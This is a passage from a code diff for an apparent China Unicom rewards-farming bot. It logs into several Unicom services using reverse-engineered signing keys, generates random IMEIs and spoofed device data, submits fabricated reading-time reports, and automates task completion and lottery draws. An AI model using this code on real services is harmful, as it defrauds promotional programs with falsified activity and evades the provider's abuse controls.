'2400_1080', + 'ip': '192.168.3.24', + 'nettypename': 'wifi', + 'version': '802', + 'versionname': '8.0.2', + 'terminalName': 'Redmi', + 'terminalType': 'Redmi_K30_Pro', + 'udid': 'null', + 'woid': self.aiting_generate_woid(imei), + 'useraccount': useraccount, + 'userid': userid, + 'clientconfirm': clientconfirm + } + return '&'.join([f"{k}={params[k]}" for k in params]) + + def generate_random_imei(self): + tac = ''.join([str(random.randint(0, 9)) for _ in range(8)]) + snr = ''.join([str(random.randint(0, 9)) for _ in range(6)]) + imei_raw = tac + snr + digits = [int(d) for d in imei_raw] + for i in range(len(digits) - 1, -1, -2): + digits[i] *= 2 + if digits[i] > 9: digits[i] -= 9 + total = sum(digits) + check_digit = (10 - (total % 10)) % 10 + return imei_raw + str(check_digit) + + def aiting_woread_login(self, phone): + access_token = "ODZERTZCMjA1NTg1MTFFNDNFMThDRDYw" + token_enc = "" + if self.token_online: + token_enc = self.aiting_get_aes(self.token_online, WOREAD_KEY) + else: + self.log("阅读专区: 未找到 token_online,尝试仅使用手机号登录") + phone_enc = self.aiting_get_aes(phone, WOREAD_KEY) + timestamp = datetime.now().strftime("%Y%m%d%H%M%S") + if token_enc: + inner_data = { + "tokenOnline": token_enc, + "phone": phone_enc, + "timestamp": timestamp + } + else: + inner_data = { + "phone": phone_enc, + "timestamp": timestamp + } + sign_result = self.aiting_get_aes(inner_data, WOREAD_KEY) + url = "https://10010.woread.com.cn/ng_woread_service/rest/account/login" + body = {"sign": sign_result} + headers = { + "User-Agent": "Mozilla/5.0 (Linux; Android 11; Redmi Note 10 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/92.0.4515.159 Mobile Safari/537.36", + "accesstoken": access_token, + "Content-Type": "application/json;charset=UTF-8", + "Origin": "https://10010.woread.com.cn" + } + res = self.session.post(url, json=body, headers=headers).json() + if res.get("code") == "0000": + return res.get("data", {}).get("token") + self.log(f"爱听登录: 沃阅读登录失败: {res}") + return None + + def aiting_get_jwt_token(self, statisticsinfo): + timestamp = self.aiting_timestamp() + sign_params = { + 'clientSource': '3', + 'clientId': 'android', + 'source': '3', + 'timestamp': timestamp + } + sign_val = self.aiting_generate_sign(sign_params, AITING_SIGN_KEY_APPKEY) + client_id_const = "395DEDE9C1D6FE11B7C9C0D82B353E74" + client_id_b64 = base64.b64encode(client_id_const.encode('utf-8')).decode('utf-8') + body = { + 'clientSource': '3', + 'clientId': client_id_b64, + 'source': '3', + 'timestamp': timestamp, + 'sign': sign_val + } + url = f"{AITING_BASE_URL}/oauth/client/appkey" + headers = { + 'Skip-Authorization-Check': 'true', + 'statisticsinfo': statisticsinfo, + "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 12; Redmi K30 Pro Build/SKQ1.220303.001)" + } + try: + res = self.session.post(url, json=body, headers=headers).json() + if res.get("code") == "0000" and res.get("key"): + return res.get("key") + self.log(f"爱听登录: 获取JWT失败: {res}") + except Exception as e: + self.log(f"爱听登录: 获取JWT异常: {e}") + return None + + def aiting_api_login(self, phone, useraccount, jwt_token, statisticsinfo): + timestamp = datetime.now().strftime("%Y%m%d%H%M%S") + passcode = self.aiting_calculate_passcode(timestamp, phone) + query_params_list = [ + 'networktype=3', 'ua=Redmi+K30+Pro', 'isencode=false', + 'clientversion=8.0.2', 'versionname=Android_1_1080x2356', + 'channelid=28015001', 'userlabelisencode=0', 'validatecode=', 'sid=', + f"timestamp={timestamp}", f"passcode={passcode}" + ] + query_str = '&'.join(query_params_list) + final_account = useraccount + url = f"{AITING_BASE_URL}/mainrest/rest/read/user/ulogin/3/{final_account}/1/1/0?{query_str}" + req_time = self.aiting_timestamp() + nonce = self.aiting_nonce() + sign_params = { + 'jwt': jwt_token, + 'nonestr': nonce, + 'osversion': 'Android12', + 'terminalName': 'Redmi', + 'timestamp': req_time + } + sorted_keys = sorted(sign_params.keys()) + sign_str = '&'.join([f"{k}={sign_params[k]}" for k in sorted_keys]) + requertid = self.aiting_md5(f"{sign_str}&key={AITING_SIGN_KEY_REQUERTID}") + headers = { + 'statisticsinfo': statisticsinfo, + 'requerttime': req_time, + 'nonestr': nonce, + 'requertid': requertid, + 'AuthorizationClient': f"Bearer {jwt_token}", + 'User-Agent': 'okhttp/4.9.0' + } + try: + res = self.session.get(url, headers=headers).json() + if res.get("code") == "0000" and res.get("message"): + msg = res.get("message") + token = msg.get("token") + userid = msg.get("userid") + if msg.get("accountinfo"): + token = msg.get("accountinfo", {}).get("token") or token + userid = msg.get("accountinfo", {}).get("userid") or userid + return {"token": token, "userid": userid} + self.log(f"爱听登录: 业务API登录失败: {res}") + except Exception as e: + self.log(f"爱听登录: 业务API异常: {e}") + return None + + def aiting_login_flow(self): + self.log("正在执行爱听登录流程...") + woread_token = self.aiting_woread_login(self.mobile) + if not woread_token: return False + self.aiting_woread_token = woread_token + imei = self.generate_random_imei() + userid = self.mobile + useraccount = self.mobile + clientconfirm = self.aiting_calculate_clientconfirm(userid, imei) + statisticsinfo = self.aiting_build_statisticsinfo(userid, useraccount, imei, clientconfirm) + self.aiting_statisticsinfo = statisticsinfo + jwt = self.aiting_get_jwt_token(statisticsinfo) + if not jwt: return False + self.aiting_jwt = jwt + login_data = self.aiting_api_login(self.mobile, useraccount, jwt, statisticsinfo) + if not login_data: return False + self.aiting_biz_token = login_data.get('token') + self.aiting_base_userid = login_data.get('userid') or self.mobile + self.log(f"✅ 爱听业务登录成功! Token已获取") + biz_ticket = self.aiting_get_ticket() + if biz_ticket: + self.aiting_biz_ticket = biz_ticket + return True + return False + + def aiting_get_ticket(self): + url = f"{AITING_BASE_URL}/activity/rest/unicom/points/getInfoTicket" + timestamp = self.aiting_timestamp() + sign_params = { + "token": self.aiting_biz_token, + "timestamp": timestamp, + "userid": self.aiting_base_userid + } + sign_val = self.aiting_generate_sign(sign_params, AITING_SIGN_KEY_API) + body = { + "sign": sign_val, + "timestamp": timestamp, + "token": self.aiting_biz_token, + "userid": self.aiting_base_userid + } + nonce = self.aiting_nonce() + head_sign_params = { + 'jwt': self.aiting_jwt, + 'nonestr': nonce, + 'osversion': 'Android12', + 'terminalName': 'Redmi', + 'timestamp': timestamp + } + sorted_keys = sorted(head_sign_params.keys()) + sign_str = '&'.join([f"{k}={head_sign_params[k]}" for k in sorted_keys]) + final_sign_str = f"{sign_str}&key={AITING_SIGN_KEY_REQUERTID}" + requertid = self.aiting_md5(final_sign_str) + headers = { + "AuthorizationClient": f"Bearer {self.aiting_jwt}", + "statisticsinfo": self.aiting_statisticsinfo, + "requerttime": timestamp, + "nonestr": nonce, + "requertid": requertid + } + try: + res = self.session.post(url, json=body, headers=headers).json() + if res.get("code") == "0000": + msg = res.get("message", "") + if "ticket=" in msg: + match = re.search(r'ticket=([^&]+)', msg) + if match: + return match.group(1) + return msg # Fallback if message is ticket itself? No, standard is URL. + self.log(f"爱听登录: 获取Ticket失败: {res}") + except Exception as e: + self.log(f"爱听登录: 获取Ticket异常: {e}") + return None + + def jf_get_task_detail(self, ticket): + url = "https://m.jf.10010.com/jf-external-application/jftask/taskDetail" + headers = self.aiting_jf_headers() + headers['Referer'] = f"https://m.jf.10010.com/jf-external-application/index.html?ticket={ticket}&pageID=s789081246969976832" + response = self.session.post(url, json={}, headers=headers) + self.update_aiting_jea_id(response) + res = response.json() + return res.get("data", {}).get("taskDetail", {}).get("taskList", []) + + def jf_to_finish(self, ticket, task_code): + url = "https://m.jf.10010.com/jf-external-application/jftask/toFinish" + response = self.session.post( + url, + json={'taskCode': task_code}, + headers=self.aiting_jf_headers(with_signature=True), + ) + self.update_aiting_jea_id(response) + + def jf_pop_up(self, ticket): + url = "https://m.jf.10010.com/jf-external-application/jftask/popUp" + response = self.session.post(url, json={}, headers=self.aiting_jf_headers()) + self.update_aiting_jea_id(response) + res = response.json() + if isinstance(res, dict): + if res.get('code') == "0000" and res.get('data', {}).get('score'): + self.log(f" └─ 🎉 获得 {res['data']['score']} 积分", notify=True) + elif res.get('code') != "0000": + self.log(f" └─ 📝 积分弹窗返回: {res.get('desc', res)}") + return res + + def aiting_complete_task_api(self, type_val): + timestamp = self.aiting_timestamp() + nonce = self.aiting_nonce() + sign_params = {'jwt': self.aiting_jwt, 'nonestr': nonce, 'osversion': 'Android12', 'terminalName': 'Redmi', 'timestamp': timestamp} + sign_str = '&'.join([f"{k}={sign_params[k]}" for k in sorted(sign_params.keys())]) + requertid = self.aiting_md5(f"{sign_str}&key={AITING_SIGN_KEY_REQUERTID}") + body_params = {'source': '3', 'timestamp': timestamp, 'token': self.aiting_woread_token, 'type': str(type_val), 'userid': self.aiting_base_userid} + body_str = '&'.join([f"{k}={body_params[k]}" for k in sorted(body_params.keys())]) + sign = self.aiting_md5(f"{body_str}&key={AITING_SIGN_KEY_API}") + url = f"{AITING_BASE_URL}/activity/rest/unicom/points/completiontask" + payload = {**body_params, 'sign': sign} + headers = { + 'AuthorizationClient': f"Bearer {self.aiting_jwt}", + 'requerttime': timestamp, + 'nonestr': nonce, + 'requertid': requertid, + 'statisticsinfo': self.aiting_statisticsinfo + } + self.session.post(url, json=payload, headers=headers) + + def aiting_get_secretkey(self): + timestamp = self.aiting_timestamp() + nonce = self.aiting_nonce() + sign_params = {'jwt': self.aiting_jwt, 'nonestr': nonce, 'osversion': 'Android12', 'terminalName': 'Redmi', 'timestamp': timestamp} + sign_str = '&'.join([f"{k}={sign_params[k]}" for k in sorted(sign_params.keys())]) + requertid = self.aiting_md5(f"{sign_str}&key={AITING_SIGN_KEY_REQUERTID}") + url = f"https://woread.com.cn/rest/read/statistics/getsecretkey/3/{self.aiting_base_userid}" + headers = { + 'AuthorizationClient': f"Bearer {self.aiting_jwt}", + 'requerttime': timestamp, 'nonestr': nonce, 'requertid': requertid, + 'statisticsinfo': self.aiting_statisticsinfo, 'User-Agent': 'okhttp/4.9.0' + } + params = {'token': self.aiting_woread_token} + res = self.session.get(url, params=params, headers=headers).json() + if res.get("code") == "0000": + return res.get("message") + return None + + def aiting_add_read_time(self, read_time_seconds): + secretkey = self.aiting_get_secretkey() + if not secretkey: return + timestamp = self.aiting_timestamp() + count_time_str = str(read_time_seconds * 1000) + book_id = "4524960" + data_obj = { + "userid": self.aiting_base_userid, + "counttime": count_time_str, + "timestamp": timestamp, + "secretkey": secretkey, + "cntindex": book_id, + "cnttype": 1, + "readtype": 1 + } + encrypted = self.aiting_aes_encrypt(data_obj, ADDREADTIME_AES_KEY, AITING_AES_IV) + nonce = self.aiting_nonce() + sign_params = {'jwt': self.aiting_jwt, 'nonestr': nonce, 'osversion': 'Android12', 'terminalName': 'Redmi', 'timestamp': timestamp} + sign_str = '&'.join([f"{k}={sign_params[k]}" for k in sorted(sign_params.keys())]) + requertid = self.aiting_md5(f"{sign_str}&key={AITING_SIGN_KEY_REQUERTID}") + url = f"https://woread.com.cn/rest/read/statistics/addreadtime/3/{encrypted}" + random_uuid = str(uuid.uuid4()).replace('-', '') + body = { + "channelid": "28015001", "creadertime": datetime.now().strftime("%y%m%d%H%M%S"), + "imei": self.generate_random_imei(), + "list": { "cntindex": book_id, "cnttype": 1, "readtime": count_time_str, "readtype": 1 }, + "list1": [{ "cntindex": book_id, "cnttype": 1, "readtime": count_time_str, "readtype": 1 }], + "listentimes": count_time_str, "uuid": random_uuid + } + headers = { + 'AuthorizationClient': f"Bearer {self.aiting_jwt}", + 'requerttime': timestamp, 'nonestr': nonce, 'requertid': requertid, + 'statisticsinfo': self.aiting_statisticsinfo, 'User-Agent': 'okhttp/4.9.0' + } + res = self.session.post(url, json=body, headers=headers) + if res.status_code == 200: + self.last_read_submission_time = time.time() + self.log(f"✅ 阅读时长上报成功 ({read_time_seconds}s)") + + def aiting_new_read_add(self): + timestamp = self.aiting_timestamp() + nonce = self.aiting_nonce() + sign_params = {'jwt': self.aiting_jwt, 'nonestr': nonce, 'osversion': 'Android12', 'terminalName': 'Redmi', 'timestamp': timestamp} + sign_str = '&'.join([f"{k}={sign_params[k]}" for k in sorted(sign_params.keys())]) + requertid = self.aiting_md5(f"{sign_str}&key={AITING_SIGN_KEY_REQUERTID}") + url = f"https://woread.com.cn/rest/read/new/newreadadd/3/{self.aiting_base_userid}/{self.aiting_woread_token}" + params = {'isfreeLimt': '0', 'isgray': 'true'} + body = {"source": 3, "cntindex": "4524960", "chapterallindex": "100136247350", "readtype": 3} + headers = { + 'AuthorizationClient': f"Bearer {self.aiting_jwt}", 'requerttime': timestamp, 'nonestr': nonce, 'requertid': requertid, 'statisticsinfo': self.aiting_statisticsinfo, 'User-Agent': 'Redmi K30 Pro' + } + self.session.post(url, params=params, json=body, headers=headers) + + def aiting_task(self, is_query_only=False): + self.log("==== 联通爱听任务 ====") + if not self.aiting_login_flow(): + self.log("爱听任务: 登录失败,跳过") + return + self.log("爱听任务: 登录成功,正在获取任务列表...") + try: + self.aiting_query_integral() + except: pass + task_list = self.jf_get_task_detail(self.aiting_biz_ticket) + done_list = [t for t in task_list if t.get('finish') == 1] + printed_names = set() + for t in done_list: + name = t.get('taskName') + if name not in printed_names: + self.log(f" ✅ {name} ({t.get('finishCount')}/{t.get('needCount')})") + printed_names.add(name) + todo_list = [t for t in task_list if t.get('finish') == 0 and "邀请" not in t.get('taskName', '')] + if not todo_list: + self.log("爱听任务: ✅ 所有任务已完成") + if is_query_only: + self.log("爱听任务: [查询模式] 跳过任务执行...") + return + self.log(f"爱听任务: 发现 {len(todo_list)} 个待办任务") + if is_query_only: + self.log("爱听任务: [查询模式] 跳过任务执行...") + return + read_tasks = [t for t in todo_list if ("阅读" in t.get('taskName','') or "听读" in t.get('taskName','')) and "邀请" not in t.get('taskName','')] + for task in read_tasks: + remaining = int(task.get('needCount', 1)) - int(task.get('finishCount', 0)) + if remaining <= 0: continue + self.log(f"执行阅读任务: {task.get('taskName')} (剩余 {remaining} 次)") + for i in range(remaining): + self.jf_to_finish(self.aiting_biz_ticket, task.get('taskCode')) + self.log(f" └─ 第 {i + 1}/{remaining} 次: 极速提交中...") + self.aiting_new_read_add() + time.sleep(5) + self.aiting_add_read_time(120) + time.sleep(2) + self.jf_pop_up(self.aiting_biz_ticket) + other_tasks = [t for t in todo_list if not any(x in t.get('taskName','') for x in ["通知", "阅读", "听读", "邀请", "签到"])] + notify_task = next((t for t in todo_list if "通知" in t.get('taskName','')), None) + if notify_task: + self.log(f"执行通知任务: {notify_task.get('taskName')}") + self.jf_to_finish(self.aiting_biz_ticket, notify_task.get('taskCode')) + time.sleep(1) + self.aiting_complete_task_api(2) + time.sleep(2) + self.jf_pop_up(self.aiting_biz_ticket) + for task in other_tasks: + remaining = int(task.get('needCount', 1)) - int(task.get('finishCount', 0)) + if remaining <= 0: continue + self.log(f"执行通用任务: {task.get('taskName')} (剩余 {remaining} 次)") + for i in range(remaining): + self.jf_to_finish(self.aiting_biz_ticket, task.get('taskCode')) + time.sleep(1.5) + self.aiting_complete_task_api(4) # Type 4 + time.sleep(2) + self.jf_pop_up(self.aiting_biz_ticket) + try: + self.aiting_query_integral() + except: pass + + def wostore_cloud_login(self, ticket): + try: + url1 = "https://member.zlhz.wostore.cn/wcy_member/yunPhone/h5Awake/businessHall" + body1 = { + "cpId": "91002997", "channelId": "ST-Zujian001-gs", "ticket": ticket, + "env": "prod", "transId": "S2ndpage1235+开福袋!+F1+CJDD00D0001+iphone_c@12.0801", + "qkActId": None + } + headers1 = {"Origin": "https://h5forphone.wostore.cn", "Content-Type": "application/json"} + json_data = json.dumps(body1, separators=(',', ':'), ensure_ascii=True) + res1 = self.session.post(url1, data=json_data, headers=headers1, timeout=15).json() + if str(res1.get("code")) != "0": + msg = res1.get("msg", str(res1)) + self.log(f"沃云手机: 登录第一步失败 - {msg}") + return None + redirect_url = res1.get("data", {}).get("url", "") + match = re.search(r'token=([^&]+)', redirect_url) + if not match: + if "protocol" in redirect_url or "sign" in redirect_url: + self.log("沃云手机: 未开通业务 (检测到协议签署跳转),跳过") + else: + self.log(f"沃云手机: 无法提取 Token, 跳转URL: {redirect_url}") + return None + first_token = match.group(1) + time.sleep(1) + url2 = "https://uphone.wostore.cn/h5api/activity-service/user/login" + body2 = { + "identityType": "cloudPhoneLogin", "code": first_token, "channelId": "ST-Zujian001-gs", + "activityId": "Lottery_251201", "device": "device" + } + headers2 = {"Origin": "https://uphone.wostore.cn", "X-USR-TOKEN": first_token} + res2 = self.session.post(url2, json=body2, headers=headers2, timeout=15).json() + if str(res2.get("code")) == "200": + user_token = res2.get("data", {}).get("user_token") + return {"firstToken": first_token, "user_token": user_token} + else: + self.log(f"沃云手机: 登录第二步失败 - {res2.get('msg', str(res2))}") + return None + except Exception as e: + self.log(f"沃云手机: 登录异常 {e}") + return None + + def wostore_cloud_sign(self, user_token): + try: + url = "https://uphone.wostore.cn/h5api/activity-service/points/v1/sign" + body = {"activityCode": "Points_Sign_2507"} + headers = {"X-USR-TOKEN": user_token, "Origin": "https://uphone.wostore.cn"} + res = self.session.post(url, json=body, headers=headers).json() + if res.get("code") == 200: + self.log("沃云手机: 积分签到成功", notify=True) + else: + pass # Fail silently or log if needed context + except Exception: + pass + + def wostore_cloud_task_list(self, user_token): + try: + url = "https://uphone.wostore.cn/h5api/activity-service/user/task/list" + body = {"activityCode": "Lottery_251201"} + headers = {"X-USR-TOKEN": user_token} + self.session.post(url, json=body, headers=headers) + except Exception: + pass + + def wostore_cloud_get_chance(self, user_token, task_code): + try: + url = "https://uphone.wostore.cn/h5api/activity-service/user/task/raffle/get" + body = {"activityCode": "Lottery_251201", "taskCode": task_code} + headers = {"X-USR-TOKEN": user_token} + self.session.post(url, json=body, headers=headers) + except Exception: + pass + + def wostore_cloud_draw(self, user_token): + try: + url = "https://uphone.wostore.cn/h5api/activity-service/lottery" + body = {"activityCode": "Lottery_251201"} + headers = {"X-USR-TOKEN": user_token} + res = self.session.post(url, json=body, headers=headers).json() + if res.get("code") == 200: + prize = res.get("data", {}).get("prizeName", "未中奖") + self.log(f"沃云手机: 抽奖结果 - {prize}", notify=True) + else: + self.log(f"沃云手机: 抽奖失败 - {res.get('msg', str(res))}") + except Exception as e: + self.log(f"沃云手机: 抽奖异常 {e}") + + def wostore_cloud_task(self, is_query_only=False): + self.log("==== 沃云手机 ====") + if is_query_only: + self.log("沃云手机: [查询模式] 此平台暂无资产或余额可供查询", notify=True) + return + target_url = "https://h5forphone.wostore.cn/cloudPhone/dialogCloudPhone.html?channel_id=ST-Zujian001-gs&cp_id=91002997" + ticket_res = self.openPlatLineNew(target_url) + if not ticket_res: + self.log("沃云手机: 获取入口 Ticket 失败") + return + ticket = ticket_res + if isinstance(ticket, dict): + ticket = ticket.get('ticket') + if not ticket: + self.log("沃云手机: 获取入口 Ticket 失败 (为空)") + return + tokens = self.wostore_cloud_login(ticket) + if not tokens: + self.log("沃云手机: 登录失败,跳过后续任务") + return + user_token = tokens['user_token'] + self.wostore_cloud_sign(user_token) + time.sleep(2) + self.wostore_cloud_task_list(user_token) + time.sleep(1) + self.wostore_cloud_get_chance(user_token, "2508-01") + time.sleep(2) + self.wostore_cloud_draw(user_token) + + def regional_task(self, is_query_only=False): + """区域专区任务入口""" + is_xinjiang = False + is_henan = False + is_yunnan = False + if hasattr(self, 'city_info') and self.city_info and isinstance(self.city_info, list): + try: + for city in self.city_info: + pro_name = city.get('proName', '') + if "新疆" in pro_name: is_xinjiang = True + if "河南" in pro_name: is_henan = True + if "云南" in pro_name: is_yunnan = True + except: pass + if is_query_only: + self.log("==== 区域专区 (查询模式) ====") + if is_xinjiang: + self.log("新疆专区: [查询模式] 跳过每日打卡,尝试查询每月抽奖记录") + try: + ticket_res = self.openPlatLineNew("https://zy100.xj169.com/touchpoint/openapi/jumpHandRoom1G?source=155&type=02") + if ticket_res and ticket_res.get("ticket"): + token = self.xj_get_token(ticket_res.get("ticket")) + if token: + self.xj_query_monthly_draw_records(token) + except Exception as e: + self.log(f"新疆专区: [查询模式] 查询每月抽奖记录异常 {e}") + if is_henan: + is_signed = self.shangdu_get_sign_status() + if is_signed is True: + self.log("河南商都: [状态查询] 今日已签到") + elif is_signed is False: + self.log("河南商都: [状态查询] 今日未签到") + else: + self.log("河南商都: [状态查询] 查询失败") + if is_yunnan: + self.yunnan_life_task(is_query_only=True) + return + if is_xinjiang: + self.log("==== 新疆专区 ====") + self.xj_task_main() + if is_henan: + self.log("==== 河南商都 ====") + self.shangdu_task_main() + if is_yunnan: + self.log("==== 云南生活 ====") + self.yunnan_life_task() + + def yunnan_life_base_headers(self, token=None, extra=None): + headers = { + "Referer": "https://wsm.wx.yn10010.com/", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "same-origin", + "Content-Type": "application/json;charset=UTF-8", + "Accept-Language": "zh-CN,en-US;q=0.8", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.1001};ltst;OSVersion/16.6", + } + if token: + headers["token"] = token + if extra: + headers.update(extra) + return headers + + def yunnan_life_calc_sign(self, payload): + parts = [] + for key in sorted(payload.keys()): + value = payload[key] + if isinstance(value, dict): + encoded = quote(json.dumps(value, ensure_ascii=False, separators=(',', ':')), safe="") + else: + encoded = quote(str(value), safe="") + parts.append(f"{key}={encoded}") + raw = "&".join(parts).lower() + YUNNAN_LIFE_SIGN_SALT + return hashlib.md5(hashlib.md5(raw.encode('utf-8')).hexdigest().encode('utf-8')).hexdigest() + + def yunnan_life_signed_headers(self, token, payload): + return self.yunnan_life_base_headers(token, { + "Origin": YUNNAN_LIFE_BASE_URL, + "accessKeyId": YUNNAN_LIFE_ACCESS_KEY, + "time": str(round(time.time() * 1000)), + "sign": self.yunnan_life_calc_sign(payload), + }) + + def yunnan_life_get_ticket(self): + if not self.ecs_token: + return None + try: + res = self.session.get( + "https://m.client.10010.com/mobileService/openPlatform/openPlatLineNew.htm", + params={ + "to_url": YUNNAN_LIFE_TO_URL, + "amp;s": "100000425", + "amp;boothCode": "YN-QCQYCS245", + "amp;boothAccessMode": "24", + }, + headers={ + "Cookie": f"ecs_token={self.ecs_token}", + "Referer": "https://wsm.wx.yn10010.com/", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Site": "cross-site", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "User-Agent": self.yunnan_life_base_headers().get("User-Agent"), + }, + allow_redirects=False, + timeout=15, + ) + location = res.headers.get("Location", "") + match = re.search(r'ticket=([^&]+)', location) + return match.group(1) if match else None + except Exception as e: + self.log(f"云南生活: 获取 ticket 异常: {e}") + return None + + def yunnan_life_get_token(self, ticket): + if not ticket: + return None + try: + resp = self.session.get( + f"{YUNNAN_LIFE_BASE_URL}/2b2c-mobile/getPhoneNumber", + params={"ticket": ticket}, + headers=self.yunnan_life_base_headers(extra={"Content-Type": "application/json;charset=gb2312"}), + timeout=15, + ) + token = resp.headers.get("token") or resp.headers.get("Token") + if not token: + try: + data = resp.json() + except Exception: + data = {} + token = data.get("token") or data.get("data", {}).get("token") + if not token: + self.log(f"云南生活: 未找到 token,响应: {resp.text[:160]}") + return None + return token if str(token).startswith("Bearer ") else f"Bearer {token}" + except Exception as e: + self.log(f"云南生活: 获取 token 异常: {e}") + return None + + def yunnan_life_login(self): + ticket = self.yunnan_life_get_ticket() + if not ticket: + self.log("云南生活: 获取 ticket 失败") + return None + token = self.yunnan_life_get_token(ticket) + if not token: + self.log("云南生活: 获取 token 失败") + return None + return token + + def yunnan_life_do_task(self, token, payload): + task_name = payload.get("taskName", payload.get("taskCode", "未知任务")) + try: + res = self.session.post( + f"{YUNNAN_LIFE_BASE_URL}/2b2c-mobile/activity/task/addTaskUser", + data=json.dumps(payload, ensure_ascii=False, separators=(',', ':')), + headers=self.yunnan_life_signed_headers(token, payload), + timeout=15, + ).json() + if res.get("resultCode") == "0000": + self.log(f"云南生活: ✅ {task_name}") + else: + self.log(f"云南生活: ❌ {task_name}: {res.get('resultMsg', '')}") + except Exception as e: + self.log(f"云南生活: [{task_name}] 异常: {e}") + + def yunnan_life_do_lottery(self, token, times=2): + payload = {"actId": YUNNAN_LIFE_ACT_ID, "boothCode": ""} + headers = self.yunnan_life_base_headers(token, {"Origin": YUNNAN_LIFE_BASE_URL}) + for i in range(times): + try: + res = self.session.post( + f"{YUNNAN_LIFE_BASE_URL}/2b2c-mobile/acttmpl/lottery/actLuckyDrawy", + data=json.dumps(payload, ensure_ascii=False, separators=(',', ':')), + headers=headers, + timeout=15, + ).json() + if res.get("resultCode") == "0000": + self.log(f"云南生活: ✅ 第{i + 1}次抽奖请求成功") + else: + self.log(f"云南生活: ❌ 第{i + 1}次抽奖失败: {res.get('resultMsg', '')}") + except Exception as e: + self.log(f"云南生活: 第{i + 1}次抽奖异常: {e}") + if i < times - 1: + time.sleep(2) + + def yunnan_life_get_lottery_results(self, token): + try: + resp = self.session.get( + f"{YUNNAN_LIFE_BASE_URL}/2b2c-mobile/acttmpl/lottery/getUserRecordListActInfo", + params={"actId": YUNNAN_LIFE_ACT_ID, "periodId": YUNNAN_LIFE_ACT_ID}, + headers=self.yunnan_life_base_headers(token, {"Content-Type": "application/json;charset=gb2312"}), + timeout=15, + ) + data = resp.json() + today = datetime.now().strftime("%Y-%m-%d") + awards = [] + for item in data.get("data", {}).get("recordList", []): + if str(item.get("createTime", "")).startswith(today): + awards.append(item.get("awardName", "未知")) + if awards: + for award in awards: + self.log(f"云南生活: 🎁 抽奖结果 - {award}", notify=True) + else: + self.log("云南生活: 今日暂无抽奖记录") + except Exception as e: + self.log(f"云南生活: 查询抽奖结果异常: {e}") + + def yunnan_life_get_bean_balance(self, token): + try: + payload = {} + res = self.session.post( + f"{YUNNAN_LIFE_BASE_URL}/user/beans/api/getTotalAvailableBeansByPhone", + data=json.dumps(payload, ensure_ascii=False, separators=(',', ':')), + headers=self.yunnan_life_signed_headers(token, payload), + timeout=15, + ).json() + if res.get("resultCode") == "0000": + self.log(f"云南生活: 💰 当前云豆余额: {res.get('data', 0)}", notify=True) + else: + self.log(f"云南生活: 获取云豆失败: {res.get('resultMsg', '')}") + except Exception as e: + self.log(f"云南生活: 查询云豆异常: {e}") + + def yunnan_life_task(self, is_query_only=False): + token = self.yunnan_life_login() + if not token: + return + if is_query_only: + self.log("云南生活: [查询模式] 查询云豆余额") + self.yunnan_life_get_bean_balance(token) + return + for task in YUNNAN_LIFE_TASKS: + self.yunnan_life_do_task(token, task) + time.sleep(2) + self.yunnan_life_do_lottery(token, times=2) + self.yunnan_life_get_lottery_results(token) + self.yunnan_life_get_bean_balance(token) + + def xj_task_main(self): + ticket_res = self.openPlatLineNew("https://zy100.xj169.com/touchpoint/openapi/jumpHandRoom1G?source=155&type=02") + if not ticket_res or not ticket_res.get("ticket"): + self.log("新疆专区: 获取入口 ticket 失败") + return + token = self.xj_get_token(ticket_res.get("ticket")) + if token: + self.xj_do_draw(token, "Jan2026Act") + day = datetime.now().day + if 19 <= day <= 25: + self.xj_usersday_task(token) + self.xj_monthly_draw_task(token) + + def xj_get_token(self, ticket): + try: + url = "https://zy100.xj169.com/touchpoint/openapi/getTokenAndCity" + if isinstance(ticket, dict): + ticket = ticket.get("ticket") + data = {"ticket": ticket} + headers = { + "Referer": f"https://zy100.xj169.com/touchpoint/openapi/jumpHandRoom1G?source=155&type=02&ticket={ticket}", + "User-Agent": XJ_USER_AGENT, + } + res = self.session.post(url, data=data, headers=headers).json() + result = res.get('result', {}) + if result.get('code') == 0 and result.get('data', {}).get('token'): + return result.get('data', {}).get('token') + token = res.get("data", {}).get("token") + if token: + return token + return None + except Exception as e: + self.log(f"新疆专区: 获取 token 异常 {e}") + return None + + def xj_do_draw(self, token, act_id): + try: + url = f"https://zy100.xj169.com/touchpoint/openapi/marchAct/draw_{act_id}" + data = {"activityId": f"daka{act_id}", "prizeId": ""} + headers = {"userToken": token, "User-Agent": XJ_USER_AGENT} + res = self.session.post(url, data=data, headers=headers).json() + msg = res.get('result', {}).get('msg') or res.get('result', {}).get('data') or "失败" + self.log(f"新疆专区: 每日打卡 - {msg}", notify=True) + except Exception as e: + self.log(f"新疆专区: 打卡异常 {e}") + + def xj_usersday_task(self, token): + try: + url = "https://zy100.xj169.com/touchpoint/openapi/marchAct/draw_UsersDay2025Act" + data = {"activityId": "usersDay2025Act", "prizeId": "hfq_twenty"} + headers = {"userToken": token, "User-Agent": XJ_USER_AGENT} + res = self.session.post(url, data=data, headers=headers).json() + msg = res.get('result', {}).get('msg') or res.get('result', {}).get('data') or "失败" + self.log(f"新疆客户日: 秒杀结果 - {msg}", notify=True) + except Exception as e: + self.log(f"新疆客户日: 秒杀异常 {e}") + + def xj_monthly_draw_once(self, token): + headers = { + "User-Agent": XJ_USER_AGENT, + "userToken": token, + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + } + payload = {"activityId": XJ_ACTIVITY_ID, "prizeId": "", "commHighFlag": "false"} + try: + res = self.session.post( + f"https://zy100.xj169.com/touchpoint/openapi/themeAct/draw_{XJ_ACTIVITY_ID}", + data=payload, + headers=headers, + timeout=10, + ).json() + code = res.get("code") + msg = str(res.get("msg", "")) + msg_type = str(res.get("msgType", "")) + data = res.get("data", "") + if code == "ERROR": + data_str = str(data) + if "已用完" in data_str or "已抽完" in data_str or msg_type == "101": + return "done", f"今日机会已用尽 ({data_str or msg or '无可用次数'})" + if "频率过高" in msg: + return "done", "接口频率限制" + if "缺少参数" in msg: + return "invalid", "token 已失效" + return "done", f"抽奖失败: {data_str or msg or '未知错误'}" + if code == "SUCCESS": + if msg == "thanks1": + 